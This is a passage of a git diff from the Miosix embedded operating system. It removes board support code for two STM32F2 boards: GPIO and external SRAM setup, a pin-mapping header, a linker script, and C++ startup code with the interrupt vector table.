AF12 | AF12 | IN PD | - - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; //Except SRAM GPIOs that run @ 100MHz - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xffffefaf; - GPIOE->OSPEEDR=0xffffeaaf; - GPIOF->OSPEEDR=0xffaaafff; - GPIOG->OSPEEDR=0xaaaaafff; - - GPIOA->MODER=0xa82a2200; - GPIOB->MODER=0x0001aa80; - GPIOC->MODER=0x02aaa001; - GPIOD->MODER=0xaaaa8a0a; - GPIOE->MODER=0xaaaaaa0a; - GPIOF->MODER=0xaa000aaa; - GPIOG->MODER=0x00000aaa; - - GPIOA->PUPDR=0x668088aa; - GPIOB->PUPDR=0xaaa8000a; - GPIOC->PUPDR=0xa0000a80; - GPIOD->PUPDR=0x000000a0; - GPIOE->PUPDR=0x000000a0; - GPIOF->PUPDR=0x00aaa000; - GPIOG->PUPDR=0xaaaaa000; - - GPIOA->ODR=0x00000000; - GPIOB->ODR=0x00000100; - GPIOC->ODR=0x00002000; - GPIOD->ODR=0x00000000; - GPIOE->ODR=0x00000000; - GPIOF->ODR=0x00000000; - GPIOG->ODR=0x00000000; - - GPIOA->AFR[0]= 0 | 0<<4 | 0<<8 | 0<<12 | 13<<16 | 0<<20 | 13<<24 | 0<<28; - GPIOA->AFR[1]= 0 | 7<<4 | 7<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 6<<28; - GPIOB->AFR[0]= 0 | 0<<4 | 0<<8 | 5<<12 | 5<<16 | 5<<20 | 13<<24 | 13<<28; - GPIOB->AFR[1]= 0 | 0<<4 | 0<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 0<<28; - GPIOC->AFR[0]= 0 | 0<<4 | 0<<8 | 0<<12 | 0<<16 | 0<<20 | 13<<24 | 13<<28; - GPIOC->AFR[1]=13 | 13<<4 | 6<<8 | 6<<12 | 6<<16 | 0<<20 | 0<<24 | 0<<28; - GPIOD->AFR[0]=12 | 12<<4 | 0<<8 | 0<<12 | 12<<16 | 12<<20 | 0<<24 | 12<<28; - GPIOD->AFR[1]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 12<<20 | 12<<24 | 12<<28; - GPIOE->AFR[0]=12 | 12<<4 | 0<<8 | 0<<12 | 13<<16 | 13<<20 | 13<<24 | 12<<28; - GPIOE->AFR[1]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 12<<20 | 12<<24 | 12<<28; - GPIOF->AFR[0]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 12<<20 | 0<<24 | 0<<28; - GPIOF->AFR[1]= 0 | 0<<4 | 0<<8 | 0<<12 | 12<<16 | 12<<20 | 12<<24 | 12<<28; - GPIOG->AFR[0]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 12<<20 | 0<<24 | 0<<28; - GPIOG->AFR[1]= 0 | 7<<4 | 7<<8 | 10<<12 | 10<<16 | 0<<20 | 0<<24 | 0<<28; - - //Configure FSMC for IS62WC51216BLL-55 - RCC->AHB3ENR=RCC_AHB3ENR_FSMCEN; - RCC_SYNC(); - volatile uint32_t& BCR1=FSMC_Bank1->BTCR[0]; - volatile uint32_t& BTR1=FSMC_Bank1->BTCR[1]; - volatile uint32_t& BWTR1=FSMC_Bank1E->BWTR[0]; - BCR1= FSMC_BCR1_EXTMOD //Extended mode - | FSMC_BCR1_WREN //Write enabled - | FSMC_BCR1_MWID_0 //16 bit bus - | FSMC_BCR1_MBKEN; //Bank enabled - BTR1= FSMC_BTR1_DATAST_2 //DATAST=4 - | FSMC_BTR1_ADDSET_0 //ADDSET=3 - | FSMC_BTR1_ADDSET_1; - //Read takes 7 + 2 (min time CS high) = 9 cycles - BWTR1=FSMC_BWTR1_DATAST_2 - | FSMC_BWTR1_DATAST_0 //DATAST=5 - | FSMC_BWTR1_ADDSET_0;//ADDSET=1 - //Write takes 6 + 1 (WE high to CS high) + 1 (min time CS high) = 8 cycles - - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - #ifndef STDOUT_REDIRECTED_TO_DCC - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); - #else //STDOUT_REDIRECTED_TO_DCC - new ARMDCC)); - #endif //STDOUT_REDIRECTED_TO_DCC -} - -void bspInit2() -{ -// #ifdef WITH_FILESYSTEM -// basicFilesystemSetup(); -// #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - disableInterrupts(); - for(;;) __WFI(); -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/interfaces-impl/bsp_impl.h deleted file mode 100644 index 32450a187..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,47 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "hwmapping.h" -#include "drivers/stm32_hardware_rng.h" - -namespace miosix { - -inline void ledOn() {} -inline void ledOff() {} - -} - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/interfaces-impl/hwmapping.h b/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/interfaces-impl/hwmapping.h deleted file mode 100644 index 237a2ccde..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,177 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#include "interfaces/gpio.h" - -namespace miosix { - -//External SRAM, connected to FSMC -namespace sram { -typedef Gpio cs1; -typedef Gpio oe; -typedef Gpio we; -typedef Gpio lb; -typedef Gpio ub; -typedef Gpio d0; -typedef Gpio d1; -typedef Gpio d2; -typedef Gpio d3; -typedef Gpio d4; -typedef Gpio d5; -typedef Gpio d6; -typedef Gpio d7; -typedef Gpio d8; -typedef Gpio d9; -typedef Gpio d10; -typedef Gpio d11; -typedef Gpio d12; -typedef Gpio d13; -typedef Gpio d14; -typedef Gpio d15; -typedef Gpio a0; -typedef Gpio a1; -typedef Gpio a2; -typedef Gpio a3; -typedef Gpio a4; -typedef Gpio a5; -typedef Gpio a6; -typedef Gpio a7; -typedef Gpio a8; -typedef Gpio a9; -typedef Gpio a10; -typedef Gpio a11; -typedef Gpio a12; -typedef Gpio a13; -typedef Gpio a14; -typedef Gpio a15; -typedef Gpio a16; -typedef Gpio a17; -typedef Gpio a18; -} - -//640x480 camera -namespace camera { -typedef Gpio cd0; -typedef Gpio cd1; -typedef Gpio cd2; -typedef Gpio cd3; -typedef Gpio cd4; -typedef Gpio cd5; -typedef Gpio cd6; -typedef Gpio cd7; -typedef Gpio vsync; -typedef Gpio hsync; -typedef Gpio dclk; -typedef Gpio exclk; -typedef Gpio reset; -typedef Gpio sda; -typedef Gpio scl; -} - -//2MBytes SPI flash -namespace flash { -typedef Gpio sck; -typedef Gpio miso; -typedef Gpio mosi; -typedef Gpio cs; -} - -//Board to board communication, SPI based -namespace comm { -typedef Gpio sck; -typedef Gpio miso; -typedef Gpio mosi; -typedef Gpio cs; -typedef Gpio irq; -} - -//An unpopulated USB connection -namespace usb { -typedef Gpio dm; -typedef Gpio dp; -} - -//Serial port -namespace serial { -typedef Gpio tx; -typedef Gpio rx; -} - -//Unused pins, configured as pulldown -namespace unused { -typedef Gpio u1; -typedef Gpio u2; -typedef Gpio u3; -typedef Gpio u4; -typedef Gpio u5; -typedef Gpio u6; -typedef Gpio u7; -typedef Gpio u8; -typedef Gpio u9; //Actually swdio -typedef Gpio u10; //Actually swclk -typedef Gpio u11; //Connected to comm::cs as a bug -typedef Gpio u12; -typedef Gpio u13; -typedef Gpio u14; //Connected to GND as it is BOOT1 -typedef Gpio u15; -typedef Gpio u16; -typedef Gpio u17; -typedef Gpio u18; -typedef Gpio u19; -typedef Gpio u20; -typedef Gpio u21; -typedef Gpio u22; -typedef Gpio u23; -typedef Gpio u24; -typedef Gpio u25; -typedef Gpio u26; //Connected to comm::cs to simplify PCB routing -typedef Gpio u27; -typedef Gpio u28; -typedef Gpio u29; -typedef Gpio u30; -typedef Gpio u31; -typedef Gpio u32; -typedef Gpio u33; -typedef Gpio u34; -typedef Gpio u35; -typedef Gpio u36; -typedef Gpio u37; -typedef Gpio u38; -typedef Gpio u39; -typedef Gpio u40; -typedef Gpio u41; -typedef Gpio u42; -typedef Gpio u43; -typedef Gpio u44; -} - -} //namespace miosix - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/stm32_1m+128k_rom.ld b/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/stm32_1m+128k_rom.ld deleted file mode 100644 index 1adf73d4e..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/stm32_1m+128k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (512K FLASH, 128K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 128KB microcontrollers */ -_heap_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0, LENGTH = 512K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 128K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/core/stage_1_boot.cpp deleted file mode 100644 index 98b941e13..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/core/stage_1_boot.cpp +++ /dev/null @@ -1,410 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f2 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - //The memcpy is usually enclosed in an #ifndef __ENABLE_XRAM, in other - //boards but in this case it is not, since the *_code_in_xram.ld linker - //script puts code in XRAM, but data in the internal one, so there's still - //the need to copy it in its final place - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - #ifdef __CODE_IN_XRAM - /** - * Before calling the initalization code, set the stack pointer to the - * required value. At first it might seem redundant setting the stack - * pointer since the hardware should take care of this, but there is a - * corner case in which it is not set properly: - * 1) A debugger like openocd is used to run the code - * 2) Debugged code is run from external RAM - * In this case, in FLASH starting from 0x00000000 there is a bootloader - * that forwards interrupt vectors to their address in external RAM - * at address 0x60000000. The bootloader can also be used to load the code - * but this is uninteresting here. The problem is that the bootloader uses - * the internal RAM for its stack, so @ 0x00000000 there is the value - * 0x20000000 (top of internal RAM). When a debugger like openocd loads the - * debuged code in external RAM starting from 0x60000000 it mimics the - * harware behaviour of setting the stack pointer. But it loads the value at - * 0x00000000, not the value at 0x60000000. Therefore the stack pointer - * is set to the stak used by the bootloader (top of INTERNAL RAM) instead - * of the stack of the debugged code (top of EXTERNAL RAM). - * Since this quirk happens only when running code from external RAM, the - * fix is enclosed in an #ifdef __CODE_IN_XRAM - */ - asm volatile("ldr sp, =_main_stack_top\n\t"); - #endif //__CODE_IN_XRAM - - /* - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ST do the opposite, there are three - * good reasons to do so: - * First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * Second, when running Miosix with the xram linker scripts .data and .bss - * are placed in the external RAM, so we *must* call SystemInit(), which - * enables xram, before touching .data and .bss - * Third, this is a performance improvement since the loops that initialize - * .data and zeros .bss now run with the CPU at full speed instead of 16MHz - * Note that it is called before switching stacks because the memory - * at _heap_end can be unavailable until the external RAM is initialized. - */ - SystemInit(); - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FSMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = 